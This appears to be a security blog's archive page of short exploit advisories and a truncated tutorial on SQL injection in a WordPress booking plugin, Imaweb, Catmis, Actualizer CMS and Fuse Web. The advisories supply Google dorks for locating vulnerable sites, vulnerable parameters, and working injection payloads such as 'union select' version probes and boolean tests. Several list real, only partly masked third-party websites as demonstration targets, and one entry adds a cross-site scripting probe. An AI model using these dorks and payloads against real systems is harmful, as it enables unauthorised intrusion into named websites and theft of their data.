sql injection

WordPress Booking System SQL Injection vulnerable

By |May 27th, 2014|

Exploit Title: WordPress Booking System (Booking Calendar) plugin SQL Injection
Release Date: 2014-05-21
Author: maodun
Contact: Twitter: @conmancm
Software Link: http://wordpress.org/support/plugin/booking-system
Affected version: < 1.3
Google Dork: inurl:/wp-content/plugins/booking-system/
REF: CVE-2014-3210

Introduction:
Booking System is great for booking hotel rooms, apartments, houses,
villas, rooms etc, make appointments to doctors, dentists, lawyers,
beauty salons, spas, massage therapists etc or schedule events.

SQLi – Proof Of Concept:
vulnerable path:
/wp-content/plugins/booking-system/dopbs-backend-forms.php
vulnerabile parameter:$_POST[‘booking_form_id’]
POC:
POST […]

Comments Off on WordPress Booking System SQL Injection vulnerable

Imaweb SQL injection Vulnerability

By |December 30th, 2013|

Exploit Title : imaweb SQL injection vulnerability
Exploit Author : Ashiyane Digital Security Team
Vendor Homepage : http://www.imaweb.fr
Google Dork : intext:Réalisation du site Internet par Imaweb
Date: 2013-12-25
Tested on: Windows 7
discovered by : ACC3SS

Location :
localhost/public/index.php?act=photo_afficher&code=pub_phototheque2&num=[Sql
Injection]
Demo:
http://www.avajaXXn.fr/public/index.php?act=photo_afficher&code=pub_phototheque2&num=1+union+select+1,2,version(
),4,5,6,7–

http://www.auzXay.fr//public/index.php?act=photo_afficher&code=pub_phototheque2&num=1+union+select+1,2,version()
,4,5,6,7–

http://www.roumeXgoux.fr/public/index.php?act=photo_afficher&code=pub_phototheque2&num=1+union+select+1,2,versio
n(),4,5,6,7–

http://www.oxygXeneinsertion.fr/public/index.php?act=photo_afficher&code=pub_phototheque2&num=1+union+select+1,2
,version(),4,5,6,7–

http://www.petXersbach.fr//public/index.php?act=photo_afficher&code=pub_phototheque2&num=1+union+select+1,2,vers
ion(),4,5,6,7–

Comments Off on Imaweb SQL injection Vulnerability

Catmis Sql Injection Vulnerability

By |November 4th, 2013|

Exploit Title : Catmis Sql Injection Vulnerability
Exploit Author : Ashiyane Digital Security Team
Vendor Homepage : http://code.google.com/p/catmis/
Google Dork : inurl:blog/blog.php?blogId=1 inurl:categoryId=
Date: 2013/11/102

Tested on: Windows 7 , Linux
——————————————————————-
Exploit : Sql Injection
Location : [Target]/www.scienceathome.org/blog/blog.php?blogId=1&categoryId=-1&page=[Sql Injection]
Proof:
http://www.scienceathoXXme.org/blog/blog.php?blogId=1&categoryId=-1&page=’
https://www.vidensbXXroend.dk/blog/blog.php?blogId=1&categoryId=-1&page=’
http://www.geigerXXrecords.dk/blog/blog.php?blogId=1&categoryId=3&page=’
http://solikedorXXian.dk/blog/blog.php?blogId=1&categoryId=1&page=’
http://www.krXweb.dk/blog/blog.php?blogId=1&categoryId=1&page=’

Comments Off on Catmis Sql Injection Vulnerability

Actualizer CMS – Multiple Vulnerabilities

By |October 10th, 2013|

Title: Actualizer CMS – Multiple Vulnerabilities
Date: 22.09.2013
Tested on: Linux 3.0 – 3.9 (95%)
Vendor: actualizer.pl
Dork: intext:”Powered by Actualizer & Heuristic”
Contact: [email protected]

1. Blind SQL Injection
host/galeria/galeria-2 /gal,1 ‘%20or%20’1’=’2.html – false
host/galeria/galeria-2/gal,1 ‘%20or%20’1 ‘= ‘ 1. html – true
PoC:
http://site/galeria/galeria-2/gal,1 ‘%20or%20 ‘1’=’ 2. html
2. Cross Site Scripting
host/katalog/nowosci/archiwum/year,”xss
PoC:
site/katalog/nowosci/archiwum/year,”xss
3. Full Path Disclosure
host/newsletter.php
POST: action=save&cat=666%email[][email protected]&imie=devil

host/konto/rejestracja
POST (multipart): login=1

Comments Off on Actualizer CMS – Multiple Vulnerabilities

Basic SQL Injection Tutorial part-1

By |October 8th, 2013|

According to OWASP SQL Injection is the most common technique used by hackers to Deface a website. SQL Injectionis a technique in which the hacker inserts SQL codes into a web Form to get Sensitive information like (User Name , Passwords). I will explain the Various types of SQL Injections.

Things You Should Know
Database: In simple words Database is a collection of data.
Database […]

Comments Off on Basic SQL Injection Tutorial part-1

Fuse Web SQL Injection Vulnerability

By |October 6th, 2013|

Exploit Title: Fuse Web SQL Injection Vulnerability SQL Injection Vulnerability In FuseWeb

Exploit Author: Ashiyane Digital Security Team
Discovered By : ACC3SS
Software Link : http://www.fuse.no
Google Dork: intext:”Powered by Fuse Web”
Tested on: Windows,Linux
Date : 2013/09/14

Location :
127.0.0.1/path/?HovedMenyId=&InnholdMenyId=&Mode=[Sql Injection]
Proof:
http://www.bjXom/?HovedMenyId=&InnholdMenyId=&Mode=’
http://www.X/?HovedMenyId=&InnholdMenyId=&Mode=’
http://wX/?HovedMenyId=&InnholdMenyId=&Mode=’
http://wwX/?HovedMenyId=&InnholdMenyId=&Mode=’
http://wwXno/?HovedMenyId=&InnholdMenyId=&Mode=’
http://X.no/?HovedMenyId=&InnholdMenyId=&Mode=’
http://wwXno/?HovedMenyId=&InnholdMenyId=&Mode=’
http://wwXning.no/?HovedMenyId=&InnholdMenyId=&Mode=’
http://stabbuXkk.no/?HovedMenyId=&InnholdMenyId=&Mode=’
http://www.romXXaard.no/?HovedMenyId=&InnholdMenyId=&Mode=’
 
source:cxsecurity

Comments Off on Fuse Web SQL Injection Vulnerability